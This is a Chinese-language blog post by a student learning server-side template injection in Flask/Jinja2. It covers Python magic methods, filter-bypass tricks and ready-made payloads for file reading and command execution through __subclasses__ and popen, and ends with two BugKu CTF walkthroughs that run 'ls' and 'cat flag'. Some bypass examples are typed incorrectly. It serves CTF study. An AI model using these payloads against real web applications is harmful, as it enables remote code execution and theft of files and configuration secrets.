在学长的热心帮助下,学习了ssti模板注入,打算写篇博客,整理一下自己的所学。

1.什么是服务端模板注入

首先我们先讲解下什么是模板引擎,为什么需要模板,模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。通过模板,我们可以通过输入转换成特定的HTML文件,比如一些博客页面,登陆的时候可能会返回 hi,张三。这个时候张三可能就是通过你的身份信息而渲染成html返回到页面。

通俗来讲,我是这样理解:模板就是制作蛋糕的模具,蛋糕店只需要把奶油倒入模具,那么就直接制作成蛋糕,大大提升了效率,但是如果蛋糕店对客户过分信任,用户可以自定义往模具倒奶油,自己制作蛋糕,那么用户可能会有恶意,倒入的是水泥,对蛋糕店造成损失,我感觉大体利用和sql注入的感觉很像。

2.利用思路

CTF中SSTI注入的的基本思路就是利用魔术方法找到我们适合需要的类, 然后从合适的类中寻找我们需要的参数方法 ,利用这个参数方法里面的函数进行命令执行或者读取文件。

3.常用的魔术方法

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base____mro__都是用来寻找基类的


__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

4.一些小知识

常用测试语句 {{1*1}}

config 也是 Flask模版中的一个全局对象,它包含了所有应用程序的配置值。

{{ config.items() }} 可以查看配置项目的信息

5.绕过:

1.过滤[]等括号 ,可以使用 gititem 代替 , 原poc {{"".class.bases[0]}} -》 {{"".class.bases.getitem(0)}}

2.过滤了subclasses 使用拼凑发 原poc{{"".class.bases[0].subclasses()}} -》 {{"".class.bases[0]'subcla'+'sses'}}

3. 过滤{{或者}} ,使用{%绕过

4.过滤_,使用 编码绕过 ,如\x5f

5.过滤. 可以采用attr()[]绕过

6.常用payload :

python3:

//文件读取
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag(读取的文件)').read()}}

//命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('执行的命令').read()")}}

python2:

注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
 读文件:
 {{ ''.class.mro[2].subclasses()40.read() }}
 写文件:
 {{ ''.class.mro[2].subclasses()40.write("") }}

7.例题

Simple_SSTI_1 来自BugKu

打开环境,让我们传入一个名为flag的参数,

根据学长的教导,正常情况下应该先看看config里有啥,我们输入?flag={{config.items()}},发现flag值直接被打印出来。

Simple_SSTI_2 来自BugKu

打开环境 ,依旧让我们给flag传参数

我们依旧先看看 config里有啥 ,发现并没有我们想要得到的flag。

我们先看一下他的基类:

?flag={{''.__class__.__base__.__subclasses__()}}

我们找到 <class 'os._wrap_close'> ,我这里是在 127

将该类实例化并且全局搜索查找所有的方法

?flag={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__}}

利用popen函数执行ls命令 ,看到flag文件

?flag={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}

直接cat flag 命令将flag文件查看,得到flag

?flag={{%27%27.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat flag').read()}}

可以直接使用这个payload来执行命令获取flag或者使用talmap工具

//命令执行
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('执行的命令').read()")}}

参考文章: https://www.cnblogs.com/nongchaoer/p/12431229.html

https://xz.aliyun.com/t/3679/


如果你停止 就是低谷 如果你还在继续 就是上坡